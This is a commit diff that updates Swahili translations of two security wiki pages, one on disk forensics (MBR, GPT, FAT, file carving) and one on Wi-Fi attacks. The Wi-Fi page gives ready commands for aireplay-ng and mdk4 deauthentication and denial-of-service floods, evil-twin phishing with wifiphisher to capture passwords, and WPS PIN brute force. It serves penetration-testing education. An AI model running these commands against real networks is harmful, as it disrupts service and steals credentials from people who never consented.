Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

This commit is contained in:
Translator 2025-07-10 12:29:12 +00:00
parent 7b78ae3434
commit 77fcb9ec72
14 changed files with 547 additions and 463 deletions

View File

@ -5,12 +5,12 @@
## Partitions
Diski ngumu au **SSD inaweza kuwa na sehemu tofauti** kwa lengo la kutenganisha data kimwili.\
Kitengo cha **chini** cha diski ni **sehemu** (ambayo kawaida ina 512B). Hivyo, kila ukubwa wa sehemu unahitaji kuwa mara kadhaa ya ukubwa huo.
Kitengo cha **chini** cha diski ni **sehemu** (ambayo kawaida ina 512B). Hivyo, kila ukubwa wa sehemu unahitaji kuwa ni mara kadhaa ya ukubwa huo.
### MBR (master Boot Record)
Imewekwa katika **sehemu ya kwanza ya diski baada ya 446B ya msimbo wa boot**. Sehemu hii ni muhimu kuonyesha kwa PC ni nini na kutoka wapi sehemu inapaswa kuunganishwa.\
Inaruhusu hadi **sehemu 4** (kwa kiwango cha juu **sehemu 1 tu** inaweza kuwa hai/**bootable**). Hata hivyo, ikiwa unahitaji sehemu zaidi unaweza kutumia **sehemu za kupanua**. **Byte ya mwisho** ya sehemu hii ya kwanza ni saini ya boot record **0x55AA**. Sehemu moja tu inaweza kuashiria kuwa hai.\
Inaruhusu hadi **sehemu 4** (kwa kiwango cha juu **ni moja tu** inaweza kuwa hai/**bootable**). Hata hivyo, ikiwa unahitaji sehemu zaidi unaweza kutumia **sehemu za kupanua**. **Byte ya mwisho** ya sehemu hii ya kwanza ni saini ya boot record **0x55AA**. Sehemu moja tu inaweza kuashiria kuwa hai.\
MBR inaruhusu **max 2.2TB**.
![](<../../../images/image (350).png>)
@ -49,7 +49,7 @@ Kutoka **bytes 440 hadi 443** za MBR unaweza kupata **Saini ya Diski ya Windows*
Ili kuunganisha MBR katika Linux unahitaji kwanza kupata offset ya mwanzo (unaweza kutumia `fdisk` na amri `p`)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Na kisha tumia msimbo ufuatao
```bash
@ -60,24 +60,24 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Anwani ya block ya kimantiki)**
**Anwani ya block ya kimantiki** (**LBA**) ni mpango wa kawaida unaotumika kwa **kuelezea eneo la blocks** za data zilizohifadhiwa kwenye vifaa vya kuhifadhi kompyuta, kwa ujumla mifumo ya kuhifadhi sekondari kama vile diski ngumu. LBA ni mpango wa anwani rahisi wa mstari; **blocks zinapatikana kwa index ya nambari**, block ya kwanza ikiwa LBA 0, ya pili LBA 1, na kadhalika.
**Anwani ya block ya kimantiki** (**LBA**) ni mpango wa kawaida unaotumika kwa **kuainisha eneo la blocks** za data zilizohifadhiwa kwenye vifaa vya kuhifadhi kompyuta, kwa ujumla mifumo ya kuhifadhi sekondari kama vile diski ngumu. LBA ni mpango wa anwani rahisi wa moja kwa moja; **blocks zinapatikana kwa index ya nambari nzima**, block ya kwanza ikiwa LBA 0, ya pili LBA 1, na kadhalika.
### GPT (Jedwali la Partition la GUID)
Jedwali la Partition la GUID, linalojulikana kama GPT, linapendekezwa kwa uwezo wake ulioimarishwa ikilinganishwa na MBR (Rekodi ya Boot Kuu). Inajulikana kwa **kitambulisho cha kipekee duniani** kwa partitions, GPT inajitokeza kwa njia kadhaa:
Jedwali la Partition la GUID, linalojulikana kama GPT, linapendekezwa kwa uwezo wake ulioimarishwa ikilinganishwa na MBR (Rekodi ya Boot Kuu). Inajulikana kwa **kitambulisho chake cha kipekee duniani** kwa partitions, GPT inajitenga kwa njia kadhaa:
- **Eneo na Ukubwa**: GPT na MBR zote huanza kwenye **sehemu 0**. Hata hivyo, GPT inafanya kazi kwa **64bits**, tofauti na MBR ya 32bits.
- **Eneo na Ukubwa**: GPT na MBR zote huanza kwenye **sehemu 0**. Hata hivyo, GPT inafanya kazi kwa **64bits**, tofauti na MBR ambayo ni 32bits.
- **Mipaka ya Partition**: GPT inasaidia hadi **partitions 128** kwenye mifumo ya Windows na inaruhusu hadi **9.4ZB** ya data.
- **Majina ya Partition**: Inatoa uwezo wa kupewa majina partitions kwa hadi wahusika 36 wa Unicode.
- **Majina ya Partition**: Inatoa uwezo wa kuipa partitions majina yenye wahusika 36 wa Unicode.
**Ustahimilivu wa Data na Urejeleaji**:
- **Ukarabati**: Tofauti na MBR, GPT haifungii partitioning na data ya boot mahali pamoja. Inarudia data hii kwenye diski, ikiongeza uaminifu wa data na ustahimilivu.
- **Cyclic Redundancy Check (CRC)**: GPT inatumia CRC kuhakikisha uaminifu wa data. Inachunguza kwa uangalifu uharibifu wa data, na inapogundulika, GPT inajaribu kurejesha data iliyoathirika kutoka eneo lingine la diski.
- **Ukarabati**: Tofauti na MBR, GPT haifungii partitioning na data za boot mahali pamoja. Inarudia data hii kwenye diski, ikiongeza uaminifu wa data na ustahimilivu.
- **Cyclic Redundancy Check (CRC)**: GPT inatumia CRC kuhakikisha uaminifu wa data. Inachunguza kwa makini uharibifu wa data, na inapogundulika, GPT inajaribu kurejesha data iliyoathirika kutoka eneo lingine la diski.
**MBR ya Kulinda (LBA0)**:
- GPT inahifadhi ulinganifu wa nyuma kupitia MBR ya kulinda. Kipengele hiki kinapatikana katika nafasi ya MBR ya zamani lakini kimeundwa ili kuzuia zana za zamani za MBR zisifanye makosa ya kufuta diski za GPT, hivyo kulinda uaminifu wa data kwenye diski zilizofomatiwa kwa GPT.
- GPT inahifadhi ulinganifu wa nyuma kupitia MBR ya kulinda. Kipengele hiki kiko katika nafasi ya MBR ya zamani lakini kimeundwa ili kuzuia zana za zamani za MBR zisizokosee kuandika diski za GPT, hivyo kulinda uaminifu wa data kwenye diski zilizofomatiwa kwa GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>)
@ -85,7 +85,7 @@ Jedwali la Partition la GUID, linalojulikana kama GPT, linapendekezwa kwa uwezo
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Katika mifumo ya uendeshaji inayounga mkono **boot ya GPT kupitia huduma za BIOS** badala ya EFI, sehemu ya kwanza inaweza pia kutumika kuhifadhi hatua ya kwanza ya **bootloader** code, lakini **imebadilishwa** kutambua **GPT** **partitions**. Bootloader katika MBR haipaswi kudhani ukubwa wa sehemu ni bytes 512.
Katika mifumo ya uendeshaji inayounga mkono **boot ya GPT kupitia huduma za BIOS** badala ya EFI, sehemu ya kwanza inaweza pia kutumika kuhifadhi hatua ya kwanza ya **bootloader** code, lakini **imebadilishwa** kutambua **GPT** **partitions**. Bootloader katika MBR haipaswi kudhani ukubwa wa sehemu ni 512 bytes.
**Kichwa cha jedwali la partition (LBA 1)**
@ -95,9 +95,9 @@ Kichwa cha jedwali la partition kinaelezea blocks zinazoweza kutumika kwenye dis
| Offset | Length | Contents |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Saini ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h au 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8) kwenye mashine za little-endian) |
| 0 (0x00) | 8 bytes | Saini ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h au 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8) kwenye mashine za little-endian) |
| 8 (0x08) | 4 bytes | Toleo 1.0 (00h 00h 01h 00h) kwa UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Ukubwa wa kichwa katika little endian (katika bytes, kawaida 5Ch 00h 00h 00h au bytes 92) |
| 12 (0x0C) | 4 bytes | Ukubwa wa kichwa katika little endian (kwa bytes, kawaida 5Ch 00h 00h 00h au 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) ya kichwa (offset +0 hadi ukubwa wa kichwa) katika little endian, huku uwanja huu ukiwa na sifuri wakati wa hesabu |
| 20 (0x14) | 4 bytes | Imehifadhiwa; lazima iwe sifuri |
| 24 (0x18) | 8 bytes | LBA ya sasa (eneo la nakala hii ya kichwa) |
@ -109,7 +109,7 @@ Kichwa cha jedwali la partition kinaelezea blocks zinazoweza kutumika kwenye dis
| 80 (0x50) | 4 bytes | Idadi ya entries za partition katika safu |
| 84 (0x54) | 4 bytes | Ukubwa wa entry moja ya partition (kawaida 80h au 128) |
| 88 (0x58) | 4 bytes | CRC32 ya safu ya entries za partition katika little endian |
| 92 (0x5C) | \* | Imehifadhiwa; lazima iwe sifuri kwa sehemu nyingine za block (420 bytes kwa ukubwa wa sehemu 512 bytes; lakini inaweza kuwa zaidi na ukubwa wa sehemu kubwa) |
| 92 (0x5C) | \* | Imehifadhiwa; lazima iwe sifuri kwa sehemu zingine za block (420 bytes kwa ukubwa wa sehemu 512 bytes; lakini inaweza kuwa zaidi na ukubwa wa sehemu kubwa) |
**Entries za Partition (LBA 233)**
@ -119,9 +119,9 @@ Kichwa cha jedwali la partition kinaelezea blocks zinazoweza kutumika kwenye dis
| 0 (0x00) | 16 bytes | [Aina ya partition GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mchanganyiko wa endian) |
| 16 (0x10) | 16 bytes | GUID ya kipekee ya partition (mchanganyiko wa endian) |
| 32 (0x20) | 8 bytes | LBA ya kwanza ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 bytes | LBA ya mwisho (inajumuisha, kawaida ni odd) |
| 48 (0x30) | 8 bytes | Bendera za sifa (mfano, bit 60 inaashiria kusoma tu) |
| 56 (0x38) | 72 bytes | Jina la partition (muhimu 36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE) |
| 40 (0x28) | 8 bytes | LBA ya mwisho (inajumuisha, kawaida ni ajizi) |
| 48 (0x30) | 8 bytes | Bendera za sifa (mfano, bit 60 inaashiria kusoma pekee) |
| 56 (0x38) | 72 bytes | Jina la partition (wahusika 36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE) |
**Aina za Partitions**
@ -149,22 +149,22 @@ Ikiwa ilikuwa **jedwali la GPT badala ya MBR** inapaswa kuonekana saini _EFI PAR
### FAT
Mfumo wa faili wa **FAT (Jedwali la Usambazaji wa Faili)** umeundwa kuzunguka kipengele chake cha msingi, jedwali la usambazaji wa faili, kilichowekwa kwenye mwanzo wa volumu. Mfumo huu unalinda data kwa kudumisha **nakala mbili** za jedwali, kuhakikisha uaminifu wa data hata kama moja imeharibiwa. Jedwali, pamoja na folda ya mzizi, lazima iwe katika **mahali thabiti**, muhimu kwa mchakato wa kuanzisha mfumo.
Mfumo wa faili wa **FAT (Jedwali la Usambazaji wa Faili)** umeundwa kuzunguka kipengele chake cha msingi, jedwali la usambazaji wa faili, kilichowekwa kwenye mwanzo wa kiasi. Mfumo huu unalinda data kwa kudumisha **nakala mbili** za jedwali, kuhakikisha uaminifu wa data hata kama moja imeharibiwa. Jedwali, pamoja na folda ya mzizi, lazima iwe katika **mahali thabiti**, muhimu kwa mchakato wa kuanzisha mfumo.
Kitengo cha msingi cha kuhifadhi cha mfumo wa faili ni **cluster, kawaida 512B**, kinachojumuisha sekta kadhaa. FAT imeendelea kupitia matoleo:
- **FAT12**, inasaidia anwani za cluster za bit 12 na kushughulikia hadi clusters 4078 (4084 na UNIX).
- **FAT16**, ikiongeza hadi anwani za bit 16, hivyo inaruhusu clusters hadi 65,517.
- **FAT32**, ikipiga hatua zaidi na anwani za bit 32, ikiruhusu clusters 268,435,456 kwa kila volumu.
- **FAT12**, inasaidia anwani za cluster za 12-bit na kushughulikia hadi clusters 4078 (4084 na UNIX).
- **FAT16**, ikiongeza hadi anwani za 16-bit, hivyo inaruhusu clusters hadi 65,517.
- **FAT32**, ikipiga hatua zaidi na anwani za 32-bit, ikiruhusu clusters 268,435,456 kwa kiasi.
Kikwazo kikubwa katika matoleo ya FAT ni **ukubwa wa faili wa juu wa 4GB**, ulioanzishwa na uwanja wa bit 32 unaotumika kwa kuhifadhi ukubwa wa faili.
Kikwazo kikubwa katika matoleo ya FAT ni **ukubwa wa faili wa juu wa 4GB**, ulioanzishwa na uwanja wa 32-bit unaotumika kwa uhifadhi wa ukubwa wa faili.
Vipengele muhimu vya saraka ya mzizi, hasa kwa FAT12 na FAT16, ni pamoja na:
- **Jina la Faili/Folda** (hadi wahusika 8)
- **Sifa**
- **Tarehe za uumbaji, marekebisho, na ufikiaji wa mwisho**
- **Anwani ya Jedwali la FAT** (inaonyesha cluster ya kuanzia ya faili)
- **Anwani ya Jedwali la FAT** (inaonyesha cluster ya mwanzo ya faili)
- **Ukubwa wa Faili**
### EXT
@ -189,9 +189,9 @@ Unaweza kutumia zana kama [**exiftool**](https://exiftool.org) na [**Metadiver**
### Faili Zilizofutwa Zilizorekodiwa
Kama ilivyoonekana hapo awali kuna maeneo kadhaa ambapo faili bado imehifadhiwa baada ya "kufutwa". Hii ni kwa sababu kawaida kufutwa kwa faili kutoka mfumo wa faili kunaashiria tu kuwa imefutwa lakini data haiguswi. Hivyo, inawezekana kukagua rekodi za faili (kama MFT) na kupata faili zilizofutwa.
Kama ilivyoonekana hapo awali kuna maeneo kadhaa ambapo faili bado inahifadhiwa baada ya "kufutwa". Hii ni kwa sababu kawaida kufutwa kwa faili kutoka mfumo wa faili kunaashiria tu kuwa imefutwa lakini data haiguswa. Hivyo, inawezekana kukagua rekodi za faili (kama MFT) na kupata faili zilizofutwa.
Pia, OS kawaida huhifadhi habari nyingi kuhusu mabadiliko ya mfumo wa faili na nakala za akiba, hivyo inawezekana kujaribu kuzitumia kurejesha faili au habari nyingi kadri inavyowezekana.
Pia, OS kawaida huhifadhi habari nyingi kuhusu mabadiliko ya mfumo wa faili na nakala za akiba, hivyo inawezekana kujaribu kuzitumia kurejesha faili au habari nyingi iwezekanavyo.
{{#ref}}
file-data-carving-recovery-tools.md
@ -209,9 +209,9 @@ Kuna zana kadhaa ambazo unaweza kutumia kwa kuchonga faili zikionyesha aina za f
file-data-carving-recovery-tools.md
{{#endref}}
### Kuchonga Msimu wa Data
### Kuchonga Mstream ya Data
Kuchonga Msimu wa Data ni sawa na Kuchonga Faili lakini **badala ya kutafuta faili kamili, inatafuta vipande vya habari vinavyovutia**.\
Kuchonga Mstream ya Data ni sawa na Kuchonga Faili lakini **badala ya kutafuta faili kamili, inatafuta vipande vya habari vinavyovutia**.\
Kwa mfano, badala ya kutafuta faili kamili inayojumuisha URLs zilizorekodiwa, mbinu hii itatafuta URLs.
{{#ref}}
@ -220,7 +220,7 @@ file-data-carving-recovery-tools.md
### Kufuta Salama
Kwa wazi, kuna njia za **"kufuta kwa usalama" faili na sehemu za rekodi kuhusu hizo**. Kwa mfano, inawezekana **kuandika tena maudhui** ya faili kwa data ya takataka mara kadhaa, na kisha **kuondoa** **rekodi** kutoka **$MFT** na **$LOGFILE** kuhusu faili hiyo, na **kuondoa Nakala za Kivuli za Volumu**.\
Bila shaka, kuna njia za **"kufuta salama" faili na sehemu ya rekodi kuhusu hizo**. Kwa mfano, inawezekana **kuandika upya maudhui** ya faili kwa data ya takataka mara kadhaa, na kisha **kuondoa** **rekodi** kutoka **$MFT** na **$LOGFILE** kuhusu faili hiyo, na **kuondoa Nakala za Kivuli za Kiasi**.\
Unaweza kugundua kwamba hata ukifanya kitendo hicho kunaweza kuwa na **sehemu nyingine ambapo uwepo wa faili bado umeandikwa**, na hiyo ni kweli na sehemu ya kazi ya kitaalamu ya forensics ni kuzipata.
## Marejeleo

View File

@ -17,7 +17,7 @@ iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
```
## Tools
## Vifaa
### EAPHammer
```
@ -45,7 +45,7 @@ v1s1t0r1sh3r3/airgeddon
```
### wifiphisher
Inaweza kufanya mashambulizi ya Evil Twin, KARMA, na Known Beacons kisha kutumia kiolezo cha phishing ili kupata nenosiri halisi la mtandao au kukamata akauti za mitandao ya kijamii.
Inaweza kufanya mashambulizi ya Evil Twin, KARMA, na Known Beacons kisha kutumia kigezo cha phishing ili kupata nenosiri halisi la mtandao au kukamata akauti za mitandao ya kijamii.
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@ -55,61 +55,61 @@ sudo python setup.py install # Install any dependencies
Chombo hiki kinara **WPS/WEP/WPA-PSK** mashambulizi. Kitafanya moja kwa moja:
- Weka kiolesura katika hali ya ufuatiliaji
- Scan kwa mitandao inayowezekana - Na kukuruhusu uchague mwathirika(mwathirika)
- Weka kiunganishi katika hali ya ufuatiliaji
- Scan kwa mitandao inayowezekana - Na kukuruhusu kuchagua mwathirika(wathirika)
- Ikiwa ni WEP - Anzisha mashambulizi ya WEP
- Ikiwa ni WPA-PSK
- Ikiwa ni WPS: Mashambulizi ya Pixie dust na mashambulizi ya bruteforce (kuwa makini mashambulizi ya brute-force yanaweza kuchukua muda mrefu). Kumbuka kwamba haitajaribu PIN za null au PIN zilizotengenezwa/kutolewa.
- Ikiwa ni WPS: Mashambulizi ya Pixie dust na mashambulizi ya bruteforce (kuwa makini mashambulizi ya brute-force yanaweza kuchukua muda mrefu). Kumbuka kwamba hakijaribu PIN za null au PIN zilizotengenezwa.
- Jaribu kukamata PMKID kutoka kwa AP ili kuikata
- Jaribu kuondoa wateja wa AP ili kukamata handshake
- Ikiwa ni PMKID au Handshake, jaribu bruteforce kwa kutumia nywila 5000 bora.
- Jaribu kuondoa uthibitisho wa wateja wa AP ili kukamata mkono
- Ikiwa ni PMKID au Mkono, jaribu bruteforce kwa kutumia nywila 5000 bora.
## Muhtasari wa Mashambulizi
- **DoS**
- Kuondoa/kuondoa ushirikiano -- Unganisha kila mtu (au ESSID/Mteja maalum)
- AP za uongo za nasibu -- Ficha mitandao, inaweza kusababisha skana kufeli
- Kuondoa uthibitisho/kuondoa ushirikiano -- Unganisha kila mtu (au ESSID/Mteja maalum)
- AP za uongo za nasibu -- Ficha mitandao, huenda ikasababisha skana kuanguka
- Kuongeza mzigo AP -- Jaribu kuua AP (kawaida si ya manufaa sana)
- WIDS -- Cheza na IDS
- TKIP, EAPOL -- Mashambulizi maalum ya DoS kwa AP fulani
- **Kukata**
- Kata **WEP** (zana na mbinu kadhaa)
- **Kuvunja**
- Vunja **WEP** (zana na mbinu kadhaa)
- **WPA-PSK**
- **WPS** pin "Brute-Force"
- **WPA PMKID** bruteforce
- \[DoS +] **WPA handshake** kukamata + Kukata
- \[DoS +] **WPA handshake** kukamata + Kuvunja
- **WPA-MGT**
- **Kukamata Jina la Mtumiaji**
- **Bruteforce** Akreditivu
- **Evil Twin** (ikiwa na DoS au bila)
- **Open** Evil Twin \[+ DoS] -- Inafaida kukamata akreditivu za captive portal na/au kufanya mashambulizi ya LAN
- **Evil Twin** (ikiwa na au bila DoS)
- **Open** Evil Twin \[+ DoS] -- Inafaida kukamata akreditivu za portal ya mateka na/au kufanya mashambulizi ya LAN
- **WPA-PSK** Evil Twin -- Inafaida kwa mashambulizi ya mtandao ikiwa unajua nywila
- **WPA-MGT** -- Inafaida kukamata akreditivu za kampuni
- **KARMA, MANA**, **Loud MANA**, **Beacon inayojulikana**
- **+ Open** -- Inafaida kukamata akreditivu za captive portal na/au kufanya mashambulizi ya LAN
- **+ WPA** -- Inafaida kukamata WPA handshakes
- **+ Open** -- Inafaida kukamata akreditivu za portal ya mateka na/au kufanya mashambulizi ya LAN
- **+ WPA** -- Inafaida kukamata mikono ya WPA
## DOS
### Pakiti za Kuondoa Ushirikiano
### Pakiti za Kuondoa Uthibitisho
**Maelezo kutoka** [**hapa**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Mashambulizi ya **kuondoa ushirikiano**, mbinu maarufu katika udukuzi wa Wi-Fi, yanahusisha kutunga "mifumo ya usimamizi" ili **kuondoa kwa nguvu vifaa kutoka kwenye mtandao**. Pakiti hizi zisizo na usimbuaji zinawadanganya wateja kuamini kwamba zinatoka kwenye mtandao halali, zikimwezesha wavamizi kukusanya WPA handshakes kwa ajili ya kukata au kuendelea kuharibu muunganisho wa mtandao. Mbinu hii, inayoshangaza kwa urahisi wake, inatumika sana na ina athari kubwa kwa usalama wa mtandao.
Mashambulizi ya **Kuondoa Uthibitisho**, mbinu maarufu katika udukuzi wa Wi-Fi, yanahusisha kutunga "mifumo ya usimamizi" ili **kuondoa kwa nguvu vifaa kutoka kwenye mtandao**. Pakiti hizi zisizo na usimbuaji zinawadanganya wateja kuamini zinatoka kwenye mtandao halali, zikimwezesha washambuliaji kukusanya mikono ya WPA kwa madhumuni ya kuvunja au kuendelea kuharibu muunganisho wa mtandao. Mbinu hii, inayoshangaza kwa urahisi wake, inatumika sana na ina athari kubwa kwa usalama wa mtandao.
**Kuondoa ushirikiano kwa kutumia Aireplay-ng**
**Kuondoa Uthibitisho kwa kutumia Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
- -0 inamaanisha deauthentication
- 1 ni nambari ya deauths za kutuma (unaweza kutuma nyingi ikiwa unataka); 0 inamaanisha zitumwe kwa muda wote
- -a 00:14:6C:7E:40:80 ni anwani ya MAC ya access point
- 1 ni nambari ya deauths za kutuma (unaweza kutuma nyingi ikiwa unataka); 0 inamaanisha zitumwe kwa kuendelea
- -a 00:14:6C:7E:40:80 ni anwani ya MAC ya kituo cha ufikiaji
- -c 00:0F:B5:34:30:30 ni anwani ya MAC ya mteja wa kuondoa uthibitisho; ikiwa hii imeachwa, basi deauthentication ya matangazo inatumwa (sio kila wakati inafanya kazi)
- ath0 ni jina la interface
- ath0 ni jina la kiunganishi
### Disassociation Packets
**Disassociation packets**, sawa na deauthentication packets, ni aina ya frame ya usimamizi inayotumika katika mitandao ya Wi-Fi. Pakiti hizi hutumikia kukatisha uhusiano kati ya kifaa (kama laptop au smartphone) na access point (AP). Tofauti kuu kati ya disassociation na deauthentication iko katika matumizi yao. Wakati AP inatoa **deauthentication packets kuondoa vifaa vya uasi moja kwa moja kutoka kwenye mtandao, disassociation packets kwa kawaida hutumwa wakati AP inafanya kufunga, kuanzisha upya, au kuhamasisha, hivyo kuhitaji kukatishwa kwa uhusiano wa nodi zote zilizounganishwa.**
**Disassociation packets**, sawa na deauthentication packets, ni aina ya fremu ya usimamizi inayotumika katika mitandao ya Wi-Fi. Pakiti hizi hutumikia kukatisha uhusiano kati ya kifaa (kama vile laptop au smartphone) na kituo cha ufikiaji (AP). Tofauti kuu kati ya disassociation na deauthentication iko katika matumizi yao. Wakati AP inatoa **deauthentication packets ili kuondoa vifaa vya uasi moja kwa moja kutoka kwenye mtandao, disassociation packets kwa kawaida hutumwa wakati AP inafanya kufunga, kuanzisha upya, au kuhamasisha, hivyo kuhitaji kukatishwa kwa uhusiano wa nodi zote zilizounganishwa.**
**Shambulio hili linaweza kufanywa na mdk4(mode "d"):**
```bash
@ -136,7 +136,7 @@ mdk4 wlan0mon b -a -w nta -m
```
**MODE YA SHAMBULIO a: Kukataliwa kwa Huduma ya Uthibitishaji**
Kutuma fremu za uthibitishaji kwa Ndugu za Upatikanaji (APs) zote zinazopatikana ndani ya eneo la ushawishi kunaweza kujaa hizi APs, hasa wakati wateja wengi wanahusika. Mvutano huu mkali unaweza kusababisha kutokuwa na utulivu kwa mfumo, na kufanya baadhi ya APs kufungia au hata kuanzisha upya.
Kutuma fremu za uthibitishaji kwa Ndugu za Upatikanaji (APs) zote zinazopatikana ndani ya eneo la ushawishi kunaweza kupelekea APs hizi kujaa, hasa wakati wateja wengi wanahusika. Mvutano huu mkali unaweza kusababisha kutokuwa na utulivu kwa mfumo, na kufanya baadhi ya APs kufungia au hata kuanzisha upya.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -144,13 +144,13 @@ Kutuma fremu za uthibitishaji kwa Ndugu za Upatikanaji (APs) zote zinazopatikana
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**MODE YA SHAMBULIO p: Utafutaji wa SSID na Bruteforcing**
**ATTACK MODE p: SSID Probing and Bruteforcing**
Utafutaji wa Nuru za Upatikanaji (APs) unakagua ikiwa SSID imefunuliwa ipasavyo na kuthibitisha upeo wa AP. Mbinu hii, pamoja na **bruteforcing SSIDs zilizofichwa** kwa kutumia au bila orodha ya maneno, inasaidia katika kutambua na kufikia mitandao iliyofichwa.
Kuchunguza Npointi za Upatikanaji (APs) kunakagua kama SSID imefunuliwa ipasavyo na kuthibitisha upeo wa AP. Mbinu hii, pamoja na **bruteforcing hidden SSIDs** kwa kutumia orodha ya maneno au bila, inasaidia katika kutambua na kufikia mitandao iliyofichwa.
**MODE YA SHAMBULIO m: Utekelezaji wa Michael Countermeasures**
**ATTACK MODE m: Michael Countermeasures Exploitation**
Kutuma pakiti za nasibu au za nakala kwa foleni tofauti za QoS kunaweza kuanzisha Michael Countermeasures kwenye **TKIP APs**, na kusababisha kuzima kwa AP kwa dakika moja. Mbinu hii ni mbinu yenye ufanisi ya shambulio la **DoS** (Denial of Service).
Kutuma pakiti za nasibu au za kurudiwa kwa foleni tofauti za QoS kunaweza kuanzisha Michael Countermeasures kwenye **TKIP APs**, na kusababisha kuzima kwa AP kwa dakika moja. Mbinu hii ni mbinu yenye ufanisi ya **DoS** (Denial of Service) shambulio.
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -158,18 +158,18 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ATTACK MODE e: EAPOL Start and Logoff Packet Injection**
Kufurika AP kwa **EAPOL Start frames** kunaunda **sessions za uongo**, zikimzidi AP na kuzuia wateja halali. Vinginevyo, kuingiza **ujumbe wa uongo wa EAPOL Logoff** kunalazimisha kuunganishwa kwa wateja, mbinu zote mbili zinaharibu huduma ya mtandao.
Kufurika AP kwa **EAPOL Start frames** kunaunda **vikao vya uwongo**, ikizidi nguvu AP na kuzuia wateja halali. Vinginevyo, kuingiza **ujumbe wa uwongo wa EAPOL Logoff** kunalazimisha kuunganishwa kwa wateja, mbinu zote mbili zinaharibu huduma ya mtandao.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ATTACK MODE s: Shambulio kwa mitandao ya mesh ya IEEE 802.11s**
**ATTACK MODE s: Mashambulizi kwa mitandao ya IEEE 802.11s**
Shambulio mbalimbali kwenye usimamizi wa kiungo na urambazaji katika mitandao ya mesh.
Mashambulizi mbalimbali kwenye usimamizi wa kiungo na urambazaji katika mitandao ya mesh.
**ATTACK MODE w: WIDS Kichanganyiko**
Kuunganisha wateja kwa nodi nyingi za WDS au APs za uongo kunaweza kudhibiti Mifumo ya Kugundua na Kuzuia Uvamizi, kuunda mkanganyiko na matumizi mabaya ya mfumo yanayoweza kutokea.
Kuhusisha wateja kwa nodi nyingi za WDS au APs za uongo kunaweza kudhibiti Mifumo ya Kugundua na Kuzuia Uvamizi, na kuleta mkanganyiko na matumizi mabaya ya mfumo.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
@ -186,16 +186,16 @@ _**Airgeddon**_ inatoa mashambulizi mengi yaliyopendekezwa katika maoni ya awali
## WPS
WPS (Wi-Fi Protected Setup) inarahisisha mchakato wa kuunganisha vifaa kwenye router, ikiongeza kasi na urahisi wa kuweka mitandao iliyosimbwa kwa **WPA** au **WPA2** Personal. Haina ufanisi kwa usalama wa WEP ambao unaweza kuvunjwa kwa urahisi. WPS inatumia PIN ya tarakimu 8, inayothibitishwa kwa nusu mbili, na hivyo kuifanya iwe hatarini kwa mashambulizi ya brute-force kutokana na idadi yake ndogo ya mchanganyiko (11,000 uwezekano).
WPS (Wi-Fi Protected Setup) inarahisisha mchakato wa kuunganisha vifaa na router, ikiongeza kasi na urahisi wa kuweka mitandao iliyosimbwa kwa **WPA** au **WPA2** Personal. Haina ufanisi kwa usalama wa WEP ambao unaweza kuvunjwa kwa urahisi. WPS inatumia PIN ya tarakimu 8, inayothibitishwa kwa nusu mbili, na kuifanya iwe hatarini kwa mashambulizi ya brute-force kutokana na idadi yake ndogo ya mchanganyiko (11,000 uwezekano).
### WPS Bruteforce
Kuna zana 2 kuu za kutekeleza hatua hii: Reaver na Bully.
- **Reaver** imeundwa kuwa shambulio thabiti na la vitendo dhidi ya WPS, na imejaribiwa dhidi ya aina mbalimbali za vituo vya upatikanaji na utekelezaji wa WPS.
- **Bully** ni **utekelezaji mpya** wa shambulio la WPS brute force, iliyoandikwa kwa C. Ina faida kadhaa juu ya msimbo wa awali wa reaver: utegemezi mdogo, utendaji bora wa kumbukumbu na cpu, usimamizi sahihi wa endianness, na seti thabiti zaidi ya chaguzi.
- **Reaver** imeundwa kuwa shambulio thabiti na la vitendo dhidi ya WPS, na imejaribiwa dhidi ya aina mbalimbali za vituo vya ufikiaji na utekelezaji wa WPS.
